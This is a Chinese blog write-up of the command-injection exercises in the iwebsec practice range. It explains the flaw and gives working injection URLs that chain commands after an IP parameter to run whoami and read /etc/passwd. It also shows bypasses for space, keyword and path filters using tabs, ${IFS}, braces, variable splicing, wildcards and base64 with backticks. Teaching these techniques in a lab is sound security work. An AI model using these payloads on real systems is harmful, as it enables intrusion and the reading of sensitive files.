iwebsec靶场-命令执行漏洞

漏洞简介

        命令执行漏洞(Command Injection)是一种常见的安全漏洞,也被称为代码注入漏洞。它允许攻击者将恶意代码注入到受攻击的应用程序中,从而可以在应用程序的上下文中执行任意命令。

        命令执行漏洞通常出现在Web应用程序中,特别是在接受用户输入的Web表单和参数的地方。攻击者可以利用这些输入来构造恶意的命令,然后将其注入到应用程序中。如果应用程序未正确验证和过滤输入,恶意命令就可以被执行,导致应用程序的数据泄露、损坏或完全被接管。

        例如,一个Web应用程序可能允许用户输入搜索查询,而这些查询参数被传递给一个后端操作系统的shell命令执行。如果攻击者可以将恶意代码注入到搜索查询中,那么他们就可以执行任意命令,例如下载敏感数据或在服务器上执行恶意软件。

        为了避免命令执行漏洞,应用程序应该始终验证和过滤输入,确保它们只包含所需的字符和格式,并使用参数化查询或其他安全的查询方法来避免使用拼接字符串的方式构造查询。

01、命令执行漏洞

选择第一个命令执行漏洞连接

源码分析

通过docker ps命令查看容器id,docker exec进入到容器的命令行界面

使用cat命令查看源码

        分析源码内容,参数ip执行ping操作,没有做任何过滤操作,导致命令执行漏洞,在ip地址后加入命令连接符即可执行其他命令。

命令执行

在URL后缀添加ip=127.0.0.1

然后再ip=127.0.01 后面添加  ; 分号作为分隔符,写入并执行其他命令,如whoami,cat /etc/passwd,如图所示,即可成功执行其他系统命令。

02、命令执行漏洞空格绕过

源码分析

查看源码可看出对IP参数过滤了空格

再次执行ip=127.0.0.1;cat /etc/passwd会报错

(1)可以用%09制表符URL编码代替空格,绕过空格过滤

http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

(2)< 小于号绕过

http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat%3C/etc/passwd

(3){,} 中括号过滤

http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}

(4)${IFS}绕过

http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat${IFS}/etc/passwd

(5)$IFS$9

http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd

03、命令执行漏洞关键命令绕过

源码分析

如下图所示,源码过滤了cat命令

绕过方法

(1)拼接绕过

使用a=ca;b=t;$a$b /etc/passwd绕过

http://192.168.102.131:8001/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

(2)命令替换绕过

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

sh /etc/passwd 2>%261 //报错出文件内容

http://192.168.102.131:8001/exec/03.php?ip=127.0.0.1;more%20/etc/passwd

04、命令执行漏洞通配符绕过

源码分析

如下图所示,过滤了关键字etc|passwd

使用通配符方法进行绕过渗透,​?字符代表单个字符,可以分别将etc和passwd其中的1个或者是多个字符分别用?替换。?不能匹配空字符。

(1)http://192.168.102.131:8001/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??

(2)http://192.168.102.131:8001/exec/04.php?ip=127.0.0.1;cat%20/?tc/pa??wd

05、命令执行漏洞base64编码绕过

源码分析

如下图所示,源码中过滤了id命令

(1)首先可以使用base64编码工具对id编码直接写在url后面

http://192.168.102.131:8001/exec/05.php?ip=127.0.0.1;aWQK

(2)使用linux中命令进行编码

echo id|base64

反引号括起来的值会被当做命令执行

http://192.168.102.131:8001/exec/05.php?ip=127.0.0.1;`echo%20aWQK|bsae64%20-d`

原文章:https://blog.csdn.net/mooyuan/article/details/128027631

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
iwebsec靶场是一个漏洞集成容器,其中集成了大量的web漏洞环境,包括SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的漏洞环境。\[1\] 要搭建iwebsec靶场,可以使用docker来运行容器。可以使用以下命令来启动靶场并将宿主机的8001端口映射给iwebsec靶场的80服务: docker run --restart=always --name iwebsec -it -dp 8001:80 iwebsec/iwebsec \[2\] 这样每次启动靶场时,都会自动运行,并且宿主机的8001端口会映射给靶场的80服务。 需要注意的是,iwebsec靶场还包含一些漏洞渗透,如redis数据库漏洞和MySQL数据库漏洞。如果需要进行渗透测试,需要将iwebsec靶场中的redis服务端口号和MySQL服务端口号映射到主机端口中。可以使用以下命令来查找iwebsec的配置文件: find / -name iwebsec_info.md \[3\] #### 引用[.reference_title] - *1* [Web安全 iwebsec 靶场搭建.](https://blog.csdn.net/weixin_54977781/article/details/130341391)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [iwebsec靶场搭建](https://blog.csdn.net/mooyuan/article/details/128031434)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值